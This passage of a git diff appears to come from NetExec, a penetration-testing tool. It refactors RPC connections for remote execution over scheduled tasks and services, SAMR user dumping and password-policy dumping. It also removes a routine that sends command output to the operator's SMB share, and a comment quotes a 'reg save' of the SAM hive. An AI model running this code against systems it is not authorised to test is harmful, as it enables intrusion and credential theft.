{perms:<22} {remark}") return permissions def dir(self): @@ -1661,10 +1722,7 @@ class smb(connection): def disks(self): try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) + dce = NXCRPCConnection(self).connect(r"\srvsvc", srvs.MSRPC_UUID_SRVS) response = srvs.hNetrServerDiskEnum(dce, 0) # Process the response @@ -1720,10 +1778,7 @@ class smb(connection): logged_on = set() try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(wkst.MSRPC_UUID_WKST) + dce = NXCRPCConnection(self).connect(r"\wkssvc", wkst.MSRPC_UUID_WKST) response = wkst.hNetrWkstaUserEnum(dce, 1) for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]: @@ -1836,40 +1891,12 @@ class smb(connection): if not max_rid: max_rid = int(self.args.rid_brute) - KNOWN_PROTOCOLS = { - 135: {"bindstr": rf"ncacn_ip_tcp:{self.remoteName}"}, - 139: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"}, - 445: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"}, - } - try: - string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"] - self.logger.debug(f"StringBinding {string_binding}") - rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.setRemoteHost(self.remoteName) - - if hasattr(rpc_transport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey) - - if self.kerberos: - rpc_transport.set_kerberos(self.kerberos, self.kdcHost) - - dce = rpc_transport.get_dce_rpc() - if self.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - - dce.connect() + use_tcp = self.port == 135 + dce = NXCRPCConnection(self, force_tcp=use_tcp).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT) except Exception as e: self.logger.fail(f"Error creating DCERPC connection: {e}") return entries - - # Want encryption? Uncomment next line - # But make simultaneous variable <= 100 - - # Want fragmentation? Uncomment next line - - dce.bind(lsat.MSRPC_UUID_LSAT) try: resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) except lsad.DCERPCSessionError as e: @@ -2273,6 +2300,9 @@ class smb(connection): if self.output_file: self.output_file.close() + with open(self.output_file_template.format(output_folder="dpapi")) as f: + if sum(1 for _ in f) == 0: + self.logger.fail("No dpapi loot retrieved") @requires_admin def list_snapshots(self): diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 2300c036..d1514bec 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -1,36 +1,29 @@ import os import random -from textwrap import dedent -from impacket.dcerpc.v5 import tsch, transport -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from nxc.helpers.misc import gen_random_string -from time import sleep from datetime import datetime, timedelta +from textwrap import dedent +from time import sleep + +from impacket.dcerpc.v5 import tsch +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY + +from nxc.helpers.misc import gen_random_string +from nxc.helpers.rpc import NXCRPCConnection class TSCH_EXEC: - def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None, + def __init__(self, connection, logger=None, tries=None, share=None, # These options are used by the schtask_as module, except the run_task_as # that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None): - self.__target = target - self.__username = username - self.__password = password - self.__domain = domain - self.__share_name = share_name - self.__lmhash = "" - self.__nthash = "" + self.__connection = connection + self.logger = logger + self.__tries = tries + self.__share = share self.__outputBuffer = b"" self.__retOutput = False - self.__aesKey = aesKey - self.__doKerberos = doKerberos - self.__remoteHost = remoteHost - self.__kdcHost = kdcHost - self.__tries = tries self.__output_filename = None - self.__share = share - self.logger = logger # Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py self.task_name = task_name if task_name else gen_random_string(8) @@ -39,32 +32,6 @@ class TSCH_EXEC: self.output_filename = output_filename self.output_file_location = output_file_location - if hashes is not None: - # This checks to see if we didn't provide the LM Hash - if hashes.find(":") != -1: - self.__lmhash, self.__nthash = hashes.split(":") - else: - self.__nthash = hashes - - if self.__password is None: - self.__password = "" - - stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]" - self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) - self.__rpctransport.setRemoteHost(self.__remoteHost) - - if hasattr(self.__rpctransport, "set_credentials"): - # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials( - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, - self.__aesKey, - ) - self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) - def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) @@ -172,20 +139,12 @@ class TSCH_EXEC: return dedent(xml) def execute_handler(self, command): - dce = self.__rpctransport.get_dce_rpc() - if self.__doKerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - - dce.set_credentials(*self.__rpctransport.get_credentials()) - dce.connect() + dce = NXCRPCConnection(self.__connection).connect(r"\atsvc", tsch.MSRPC_UUID_TSCHS, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY) xml = self.gen_xml(command) self.logger.debug(f"Task XML: {xml}") self.logger.info(f"Creating task \\{self.task_name}") try: - # Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - dce.bind(tsch.MSRPC_UUID_TSCHS) tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: if e.error_code and hex(e.error_code) == "0x80070005": @@ -212,14 +171,13 @@ class TSCH_EXEC: tsch.hSchRpcDelete(dce, f"\\{self.task_name}") if self.__retOutput: - smbConnection = self.__rpctransport.get_smb_connection() tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}") - smbConnection.getFile(self.__share, self.__output_filename, self.output_callback) + self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback) break except Exception as e: if tries >= self.__tries: @@ -247,7 +205,7 @@ class TSCH_EXEC: sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") - smbConnection.deleteFile(self.__share, self.__output_filename) + self.__connection.conn.deleteFile(self.__share, self.__output_filename) except Exception: pass diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index 875e3449..2731dd38 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -1,82 +1,34 @@ # Stolen from https://github.com/Wh1t3Fox/polenum -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.dcerpc.v5 import transport, samr +from impacket.dcerpc.v5 import samr from nxc.logger import nxc_logger from nxc.helpers.misc import convert, d2b +from nxc.helpers.rpc import NXCRPCConnection class PassPolDump: - KNOWN_PROTOCOLS = { - "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), - "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), - } - def __init__(self, connection): self.logger = connection.logger - self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - self.protocol = connection.args.port - self.username = connection.username - self.password = connection.password - self.domain = connection.domain - self.hash = connection.hash - self.lmhash = "" - self.nthash = "" - self.aesKey = connection.aesKey - self.doKerberos = connection.kerberos - self.host = connection.host - self.kdcHost = connection.kdcHost - self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys() + self.connection = connection self.pass_pol = {} - if self.hash is not None: - if self.hash.find(":") != -1: - self.lmhash, self.nthash = self.hash.split(":") - else: - self.nthash = self.hash - - if self.password is None: - self.password = "" - def dump(self): - # Try all requested protocols until one works. - for protocol in self.protocols: - try: - protodef = PassPolDump.KNOWN_PROTOCOLS[protocol] - port = protodef[1] - except KeyError: - nxc_logger.debug(f"Invalid Protocol '{protocol}'") - nxc_logger.debug(f"Trying protocol {protocol}") - rpctransport = transport.SMBTransport( - self.addr, - port, - r"\samr", - self.username, - self.password, - self.domain, - self.lmhash, - self.nthash, - self.aesKey, - doKerberos=self.doKerberos, - kdcHost=self.kdcHost, - remote_host=self.host, - ) - try: - self.fetchList(rpctransport) - except Exception as e: - nxc_logger.debug(f"Protocol failed: {e}") - else: - # Got a response. No need for further iterations. - self.pretty_print() - break + try: + dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) + except Exception as e: + nxc_logger.debug(f"Failed to connect to SAMR: {e}") + return self.pass_pol + + try: + self.fetchList(dce) + except Exception as e: + nxc_logger.debug(f"Protocol failed: {e}") + else: + self.pretty_print() return self.pass_pol - def fetchList(self, rpctransport): - dce = DCERPC_v5(rpctransport) - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) - + def fetchList(self, dce): # Setup Connection resp = samr.hSamrConnect2(dce) if resp["ErrorCode"] != 0: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 3af2a486..add80831 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -51,11 +51,12 @@ def proto_args(parser, parents): cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration") - mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)") + shares_arg = mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)") mapping_enum_group.add_argument("--exclude-shares", nargs="+", help="List of shares to exclude from enumeration (e.g., C$ Admin$ IPC$)") mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces") - mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") + file_write_check_arg = mapping_enum_group.add_argument("--file-write-check", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use file creation to check WRITE access on shares (default: ACL-based check, no disk writes)") + file_write_check_arg.make_required = [shares_arg] mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'") mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks") mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index 5a4cc0f1..bfea2a99 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -2,41 +2,20 @@ # Which in turn stole from Impacket :) # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) -from impacket.dcerpc.v5 import transport, lsat, lsad, samr +from impacket.dcerpc.v5 import lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.nmb import NetBIOSError from impacket.smbconnection import SessionError +from nxc.helpers.rpc import NXCRPCConnection class SamrFunc: def __init__(self, connection): self.logger = connection.logger - self.addr = connection.host - self.remote_name = connection.remoteName - self.protocol = connection.args.port - self.username = connection.username - self.password = connection.password - self.domain = connection.domain - self.hash = connection.hash - self.lmhash = connection.lmhash - self.nthash = connection.nthash - self.aesKey = connection.aesKey - self.doKerberos = connection.kerberos - self.kdcHost = connection.kdcHost - self.host = connection.host + self.connection = connection - if self.hash is not None: - if self.hash.find(":") != -1: - self.lmhash, self.nthash = self.hash.split(":") - else: - self.nthash = self.hash - - if self.password is None: - self.password = "" - - self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger) - self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger) + self.samr_query = SAMRQuery(connection=connection, logger=self.logger) + self.lsa_query = LSAQuery(connection=connection, logger=self.logger) def get_builtin_groups(self, group): domains = self.samr_query.get_domains() @@ -85,54 +64,21 @@ class SamrFunc: class SAMRQuery: - def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kerberos=None, kdcHost="", aesKey="", logger=None): - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = lmhash - self.__nthash = nthash - self.__aesKey = aesKey - self.__port = port - self.__remote_name = remote_name - self.__remote_host = remote_host - self.__kerberos = kerberos - self.__kdcHost = kdcHost + def __init__(self, connection=None, logger=None): + self.connection = connection self.logger = logger self.dce = self.get_dce() self.server_handle = self.get_server_handle() - def get_transport(self): - string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]" - self.logger.debug(f"Binding to {string_binding}") - # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr' - return transport.SMBTransport( - self.__remote_name, - self.__port, - r"\samr", - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, - self.__aesKey, - doKerberos=self.__kerberos, - kdcHost=self.__kdcHost, - ) - def get_dce(self): - rpc_transport = self.get_transport() - rpc_transport.setRemoteHost(self.__remote_host) try: - dce = rpc_transport.get_dce_rpc() - dce.connect() - dce.bind(samr.MSRPC_UUID_SAMR) + return NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) except NetBIOSError as e: self.logger.error(f"NetBIOSError on Connection: {e}") return None except SessionError as e: self.logger.error(f"SessionError on Connection: {e}") return None - return dce def get_server_handle(self): if self.dce: @@ -178,53 +124,18 @@ class SAMRQuery: class LSAQuery: - def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kdcHost="", aesKey="", kerberos=None, logger=None): - self.__username = username - self.__password = password - self.__domain = domain - self.__lmhash = lmhash - self.__nthash = nthash - self.__aesKey = aesKey - self.__port = port - self.__remote_name = remote_name - self.__remote_host = remote_host - self.__kdcHost = kdcHost - self.__kerberos = kerberos + def __init__(self, connection=None, logger=None): + self.connection = connection + self.logger = logger self.dce = self.get_dce() self.policy_handle = self.get_policy_handle() - self.logger = logger - - def get_transport(self): - string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]" - rpc_transport = transport.DCERPCTransportFactory(string_binding) - rpc_transport.set_dport(self.__port) - rpc_transport.setRemoteHost(self.__remote_host) - if self.__kerberos: - rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost) - if hasattr(rpc_transport, "set_credentials"): - # This method exists only for selected protocol sequences. - rpc_transport.set_credentials( - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, - self.__aesKey, - ) - return rpc_transport def get_dce(self): - rpc_transport = self.get_transport() try: - dce = rpc_transport.get_dce_rpc() - if self.__kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - dce.bind(lsat.MSRPC_UUID_LSAT) + return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT) except NetBIOSError as e: self.logger.fail(f"NetBIOSError on Connection: {e}") return None - return dce def get_policy_handle(self): resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) diff --git a/nxc/protocols/smb/samruser.py b/nxc/protocols/smb/samruser.py index 43a6c868..9a8071c3 100644 --- a/nxc/protocols/smb/samruser.py +++ b/nxc/protocols/smb/samruser.py @@ -1,68 +1,35 @@ # Stolen from Impacket -from impacket.dcerpc.v5 import transport, samr -from impacket.dcerpc.v5.rpcrt import DCERPCException -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.nt_errors import STATUS_MORE_ENTRIES from datetime import datetime, timedelta +from impacket.dcerpc.v5 import samr +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.nt_errors import STATUS_MORE_ENTRIES + +from nxc.helpers.rpc import NXCRPCConnection + class UserSamrDump: - KNOWN_PROTOCOLS = { - "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), - "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), - } - def __init__(self, connection): self.logger = connection.logger - self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - self.protocol = connection.args.port - self.username = connection.username - self.password = connection.password - self.domain = connection.domain - self.hash = connection.hash - self.lmhash = "" - self.nthash = "" - self.aesKey = connection.aesKey - self.doKerberos = connection.kerberos - self.host = connection.host - self.kdcHost = connection.kdcHost - self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys() + self.connection = connection self.users = [] - self.rpc_transport = None self.dce = None - if self.hash is not None: - if self.hash.find(":") != -1: - self.lmhash, self.nthash = self.hash.split(":") - else: - self.nthash = self.hash - - if self.password is None: - self.password = "" - def dump(self, requested_users=None, dump_path=None): - # Try all requested protocols until one works. - for protocol in self.protocols: - try: - protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol] - port = protodef[1] - except KeyError: - self.logger.debug(f"Invalid Protocol: {protocol}") + try: + self.dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR) + except Exception as e: + self.logger.debug(f"Failed to connect to SAMR: {e}") + return self.users - self.logger.debug(f"Trying protocol {protocol}") - self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host) - try: - self.fetch_users(requested_users, dump_path) - break - except Exception as e: - self.logger.debug(f"Connection with protocol {protocol} failed: {e}") + try: + self.fetch_users(requested_users, dump_path) + except Exception as e: + self.logger.debug(f"Connection failed: {e}") return self.users def fetch_users(self, requested_users, dump_path): - self.dce = DCERPC_v5(self.rpc_transport) - self.dce.connect() - self.dce.bind(samr.MSRPC_UUID_SAMR) users = [] # Setup Connection diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 73dd59f2..1ac2c298 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -1,78 +1,34 @@ import os from os.path import join as path_join from time import sleep -from impacket.dcerpc.v5 import transport, scmr +from impacket.dcerpc.v5 import scmr from nxc.helpers.misc import gen_random_string from nxc.paths import TMP_PATH -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE +from nxc.helpers.rpc import NXCRPCConnection class SMBEXEC: - def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None): - self.__host = host - self.__share_name = share_name - self.__port = port - self.__username = username - self.__password = password - self.__serviceName = gen_random_string() - self.__domain = domain - self.__lmhash = "" - self.__nthash = "" + def __init__(self, connection, share=None, logger=None, tries=None): + self.__connection = connection self.__share = share - self.__smbconnection = smbconnection + self.logger = logger + self.__tries = tries + + self.__serviceName = gen_random_string() self.__output = None self.__batchFile = None self.__outputBuffer = b"" self.__shell = "%COMSPEC% /Q /c " self.__retOutput = False - self.__rpctransport = None - self.__scmr = None - self.__aesKey = aesKey - self.__doKerberos = doKerberos - self.__remoteHost = remoteHost - self.__kdcHost = kdcHost - self.__tries = tries - self.logger = logger - if hashes is not None: - # This checks to see if we didn't provide the LM Hash - if hashes.find(":") != -1: - self.__lmhash, self.__nthash = hashes.split(":") - else: - self.__nthash = hashes + rpc = NXCRPCConnection(self.__connection) + self.__scmr = rpc.connect(r"\svcctl", scmr.MSRPC_UUID_SCMR) + self.__rpctransport = rpc.transport - if self.__password is None: - self.__password = "" - - stringbinding = f"ncacn_np:{self.__host}[\\pipe\\svcctl]" - self.logger.debug(f"StringBinding {stringbinding}") - self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) - self.__rpctransport.set_dport(self.__port) - - if hasattr(self.__rpctransport, "setRemoteHost"): - self.__rpctransport.setRemoteHost(self.__remoteHost) - - if hasattr(self.__rpctransport, "set_credentials"): - # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials( - self.__username, - self.__password, - self.__domain, - self.__lmhash, - self.__nthash, - self.__aesKey, - ) - self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) - - self.__scmr = self.__rpctransport.get_dce_rpc() - if self.__doKerberos: - self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp["lpScHandle"] @@ -145,7 +101,7 @@ class SMBEXEC: while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") - self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) + self.__connection.conn.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if tries >= self.__tries: @@ -174,58 +130,10 @@ class SMBEXEC: try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") - self.__smbconnection.deleteFile(self.__share, self.__output) + self.__connection.conn.deleteFile(self.__share, self.__output) except Exception: pass - def execute_fileless(self, data): - self.__output = gen_random_string(6) - self.__batchFile = gen_random_string(6) + ".bat" - local_ip = self.__rpctransport.get_socket().getsockname()[0] - - command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data - - with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file: - batch_file.write(command) - - self.logger.debug("Hosting batch file with command: " + command) - - command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}" - self.logger.debug("Command to execute: " + command) - - self.logger.debug(f"Remote service {self.__serviceName} created.") - resp = scmr.hRCreateServiceW( - self.__scmr, - self.__scHandle, - self.__serviceName, - self.__serviceName, - lpBinaryPathName=command, - dwStartType=scmr.SERVICE_DEMAND_START, - ) - service = resp["lpServiceHandle"] - - try: - self.logger.debug(f"Remote service {self.__serviceName} started.") - scmr.hRStartServiceW(self.__scmr, service) - except Exception: - pass - self.logger.debug(f"Remote service {self.__serviceName} deleted.") - scmr.hRDeleteService(self.__scmr, service) - scmr.hRCloseServiceHandle(self.__scmr, service) - self.get_output_fileless() - - def get_output_fileless(self): - if not self.__retOutput: - return - - while True: - try: - with open(path_join(TMP_PATH, self.__output), "rb") as output: - self.output_callback(output.read()) - break - except OSError: - sleep(2) - def finish(self): # Just in case the service is still created try: diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index a5c7b9c9..57d0f714 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -142,38 +142,44 @@ class ssh(connection): def check_shell(self, cred_id): host_id = self.db.get_hosts(self.host)[0].id - # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey # Check Linux - stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") - if stdout: - self.server_os_platform = "Linux" - self.logger.debug(f"Linux detected for user: {stdout}") - self.shell_access = True - self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) - self.check_linux_priv() - if self.admin_privs: - self.logger.debug(f"User {self.username} logged in successfully and is root!") - if self.args.key_file: - self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) - return + try: + # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Linux" + self.logger.debug(f"Linux detected for user: {stdout}") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_linux_priv() + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is root!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + except Exception as e: + self.logger.debug(f"Non-SSH error during Linux shell check: {e}") # Check Windows - stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") - if stdout: - self.server_os_platform = "Windows" - self.logger.debug("Windows detected") - self.shell_access = True - self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) - self.check_windows_priv(stdout) - if self.admin_privs: - self.logger.debug(f"User {self.username} logged in successfully and is admin!") - if self.args.key_file: - self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) - else: - self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) - return + try: + stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Windows" + self.logger.debug("Windows detected") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_windows_priv(stdout) + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is admin!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + except Exception as e: + self.logger.debug(f"Error during Windows shell check: {e}") # No shell access self.shell_access = False @@ -196,8 +202,12 @@ class ssh(connection): # we could add in another method to check by piping in the password to sudo # but that might be too much of an opsec concern - maybe add in a flag to do more checks? self.logger.info("Determined user is root via `id; sudo -ln` command") - _, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1") - stdout = stdout.read().decode(self.args.codec, errors="ignore") + try: + _, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1") + stdout = stdout.read().decode(self.args.codec, errors="ignore") + except SSHException as e: + self.logger.debug(f"SSH channel closed during privilege check: {e}") + return admin_flag = { "(root)": [True, None], "NOPASSWD: ALL": [True, None], diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 83cc94be..50bd0010 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -72,7 +72,10 @@ class winrm(connection): self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname - self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os) + try: + self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os) + except Exception as e: + self.logger.debug(f"Error adding host to database: {e!s}") if self.args.domain: self.domain = self.args.domain @@ -299,6 +302,40 @@ class winrm(connection): if get_output: return result + def get_file(self, remote_path=None, download_path=None): + remote_path = remote_path if remote_path else self.args.get_file[0] + local_path = download_path if download_path else self.args.get_file[1] + + # Do a bit of smart handling for the local file path + if local_path.endswith("/"): + local_path += ntpath.basename(remote_path) + try: + self.logger.display(f'Downloading "{remote_path}" to "{local_path}"') + self.conn.fetch(remote_path, local_path) + self.logger.success(f"File {remote_path} has been saved to {local_path}") + except Exception as e: + self.logger.fail(f"Failed to get file {remote_path}, error: {e!s}") + + def put_file(self, local_path=None, remote_path=None): + local_path = local_path if local_path else self.args.put_file[0] + remote_path = remote_path if remote_path else self.args.put_file[1] + + # Do a bit of smart handling for the remote file path + remote_path += os.path.basename(local_path) if remote_path.endswith(("\\", "/")) else "" + try: + self.logger.display(f'Uploading "{local_path}" to "{remote_path}"') + self.conn.copy(local_path, remote_path) + self.logger.success(f"File {local_path} has been uploaded to {remote_path}") + except Exception as e: + self.logger.fail(f"Failed to put file {local_path} to {remote_path}, error: {e!s}") + + def dir(self, directory=None): + directory = directory if directory else self.args.dir + out = self.execute(f"dir {directory}", True) + if out is not None: + for line in out.splitlines(): + self.logger.highlight(line.rstrip()) + # Dos attack prevent: # if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file, # when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?" diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py index 6a1eba32..1beb7d69 100644 --- a/nxc/protocols/winrm/database.py +++ b/nxc/protocols/winrm/database.py @@ -1,4 +1,4 @@ -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete from sqlalchemy.dialects.sqlite import Insert from sqlalchemy.orm import declarative_base @@ -28,6 +28,7 @@ class database(BaseDB): __table_args__ = ( PrimaryKeyConstraint("id"), + 